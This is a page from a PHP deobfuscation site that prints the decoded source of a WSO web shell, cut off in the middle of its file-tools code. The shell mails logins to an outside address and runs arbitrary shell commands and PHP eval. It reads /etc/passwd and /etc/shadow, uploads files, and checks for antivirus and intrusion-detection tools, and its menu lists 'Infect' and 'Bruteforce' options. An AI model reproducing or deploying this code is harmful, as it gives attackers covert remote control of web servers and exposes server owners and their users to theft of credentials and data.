Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LH3FkuVZ0uzTjN1Mim4pPG/mzTUxM+vpf..

Decoded Output download

if(array_key_exists('watching',$_POST)){
	$tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."
".$_POST['pass']; @mail('[email protected]', 'root', $tmp); // Edit or delete!
}
//-----------------Password---------------------
$ = "5b6b42cedb8e7bebf9664f57428cafec";
$ = true;
$ = 'UTF-8';
$ = 'FilesMan';
$ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
	prototype(md5($_SERVER['HTTP_HOST'])."key", $);
}
if(empty($_POST['charset']))
	$_POST['charset'] = $;
if (!isset($_POST['ne'])) {
	if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if(version_compare(PHP_VERSION, '5.3.0', '<')){
    set_magic_quotes_runtime(0);
}
@define('VERSION', '4.2.6');
if(!function_exists('get_magic_quotes_gpc') || get_magic_quotes_gpc()) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
    $_COOKIE = stripslashes_array($_COOKIE);
}
/* () 11.2011 oRb */
if(!empty($)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $))
        prototype(md5($_SERVER['HTTP_HOST']), $);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $))
        hardLogin();
}
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$;
function hardLogin() {
		if(!empty($_SERVER['HTTP_USER_AGENT'])) {
		  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
		  if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
		  header('HTTP/1.0 404 Not Found');
		  exit;
		  }
		}
	die("</br></br><pre align=center><form method=post style='font-family:Nunito, sans-serif;color:#1a1a1a; text-shadow: 2px 0 0 #0d52bf, -2px 0 0 #0d52bf, 0 2px 0 #0d52bf, 0 -2px 0 #0d52bf, 1px 1px #0d52bf, -1px -1px 0 #0d52bf, 1px -1px 0 #0d52bf, -1px 1px 0 #0d52bf; text-align: center;'><h3>Hello <br>Welcome to wso webshell redesignated by mIcHy AmRaNe</h3><br><input placeholder='password' type=password name=pass style='border-radius: 4px 0px 0px 4px; background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='>>' style='height: 20px; border: none; border-radius: 0px 4px 4px 0px;background-color:#0d52bf;color:#fff;cursor:pointer;'></form></pre>
<div class='view'><div class='plane main'><div class='circle'></div><div class='circle'></div><div class='circle'></div><div class='circle'></div><div class='circle'></div><div class='circle'></div></div></div>
<style>body,html{background:#1a1a1a;overflow:hidden;width:100%;height:100%;position:absolute;z-index: -2;}.view{position:absolute;top:0;left:0;right:0;bottom:0;-webkit-perspective:400;perspective:400;z-index: -2;}.plane{width:120px;height:120px;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;position:absolute;z-index: -2;}.plane.main{position:absolute;top:0;left:0;right:0;bottom:0;margin:auto;-webkit-transform:rotateX(60deg) rotateZ(-30deg);transform:rotateX(60deg) rotateZ(-30deg);-webkit-animation:rotate 20s infinite linear;animation:rotate 20s infinite linear;z-index: -2;}.plane.main .circle{width:120px;height:120px;position:absolute;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;border-radius:100%;box-sizing:border-box;box-shadow:0 0 60px #a10705,inset 0 0 60px #7a0000;z-index: -2;}.plane.main .circle::after,.plane.main .circle::before{content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;margin:auto;width:5%;height:5%;border-radius:100%;background:#5d0819;box-sizing:border-box;box-shadow:0 0 60px 2px #7a0000;z-index: -2;}.plane.main .circle::before{-webkit-transform:translateZ(-90px);transform:translateZ(-90px)}.plane.main .circle::after{-webkit-transform:translateZ(90px);transform:translateZ(90px)}.plane.main .circle:nth-child(1){-webkit-transform:rotateZ(72deg) rotateX(63.435deg);transform:rotateZ(72deg) rotateX(63.435deg)}.plane.main .circle:nth-child(2){-webkit-transform:rotateZ(144deg) rotateX(63.435deg);transform:rotateZ(144deg) rotateX(63.435deg)}.plane.main .circle:nth-child(3){-webkit-transform:rotateZ(216deg) rotateX(63.435deg);transform:rotateZ(216deg) rotateX(63.435deg)}.plane.main .circle:nth-child(4){-webkit-transform:rotateZ(288deg) rotateX(63.435deg);transform:rotateZ(288deg) rotateX(63.435deg)}.plane.main .circle:nth-child(5){-webkit-transform:rotateZ(360deg) rotateX(63.435deg);transform:rotateZ(360deg) rotateX(63.435deg)}@-webkit-keyframes rotate{0%{-webkit-transform:rotateX(0) rotateY(0) rotateZ(0);transform:rotateX(0) rotateY(0) rotateZ(0)}100%{-webkit-transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg);transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg)}}@keyframes rotate{0%{-webkit-transform:rotateX(0) rotateY(0) rotateZ(0);transform:rotateX(0) rotateY(0) rotateZ(0)}100%{-webkit-transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg);transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg)}}; h2{color:whitesmoke; font-weight:bold; text-decoration:underline;}</style>");
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';
/* () 04.2015 Pirat */
function hardHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS[''];
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."</title>
    <link href='https://fonts.googleapis.com/css?family=Nunito' rel='stylesheet'>
    <link rel='stylesheet' href='https://cdn.rawgit.com/kimeiga/bahunya/css/bahunya-0.1.3.css'>
<style>
	body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
	#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table.info	{color:#C3C3C3;}
	table#toolsTbl {background-color: #060A10;}
	span,h1,a	{color:#68b723 !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid #a10705;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#060a10;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
	.tooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%;max-width:100%;height:400px;}
	input, textarea, select	{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
	label {position:relative}
	label:after{border-bottom:2px solid #999;border-right:2px solid #999;content:'';display:block;height:5px;margin-top:-4px;pointer-events:none;position:absolute;right:12px;top:50%;-webkit-transform-origin:66% 66%;-ms-transform-origin:66% 66%;transform-origin:66% 66%;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);-webkit-transition:all .15s ease-in-out;transition:all .15s ease-in-out;width:5px}
	label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	#fak 		{background:none;}
	#fak td 	{padding:5px 0 0 0;}
	iframe		{border:1px solid #060a10;}
	.toolsInp	{width:300px}
	.main th	{text-align:left;background-color:#060a10;}
	.main tr:hover{background-color:#354252;}
	.main td, th{vertical-align:middle;}
	input[type='submit']{background-color:#0d52bf; color:#fafafa;}
	input[type='button']{background-color:#0d52bf; color:#fafafa;}
	input[type='submit']:hover{background-color:#002e99; color:#fafafa;}
	input[type='button']:hover{background-color:#002e99; color:#fafafa;}
	.l1			{background-color:#202832;}
	pre			{font:9pt Courier New;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://nullrefer.com/?https://www.exploit-db.com/search/?action=search&description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}
	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $)
		$opt_charsets .= '<option value="'.$.'" '.($_POST['charset']==$?'selected':'').'>'.$.'</option>';
	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['']))
	$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
	$drives = "";
	if ($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if (is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	/* () 08.2015 dmkcv */
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
		 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="https://nullrefer.com/?https://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=#a10705>ON</font>':'<font color=#f9c440><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
		 '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
		 '<table style="background-color:#0d52bf;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
}
function hardFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#f9c440'>[ Writeable ]</font>":" <font color=#a10705>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
		<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
		<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
		<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=ne value=''>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>
	</tr></table></div>
	<!-- particles --> <div id='particles-js'></div><script src='https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
	<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
	</body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
function ex($in) {
	$ = '';
	if (function_exists('exec')) {
		@exec($in,$);
		$ = @join("
",$);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$ = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$ = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$ = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$ = "";
		while(!@feof($f))
			$ .= fread($f,1024);
		pclose($f);
	}else return " Unable to execute command
";
	return ($==''?" Query did not return anything
":$);
}
function viewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}
function perms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}
function viewPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
	elseif (!@is_writable($f))
		return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
	else
		return '<font color=#f9c440><b>'.perms(@fileperms($f)).'</b></font>';
}
function hardScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}
function which($p) {
	$path = ex('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"VERSION" => VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
function prototype($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
function actionSecInfo() {
	hardHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function showSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}
	showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	showSecParam('Open base dir', @ini_get('open_basedir'));
	showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	showSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';
	if($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $)
                    if(which($))
                        $temp[] = $;
                showSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $)
                    if(which($))
                        $temp[] = $;
                showSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $)
                    if(which($))
                        $temp[] = $;
                showSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
				showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
	} else {
		showSecParam('OS Version',ex('ver'));
		showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
		showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
	}
	echo '</div>';
	hardFooter();
}
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	hardHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		hardFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
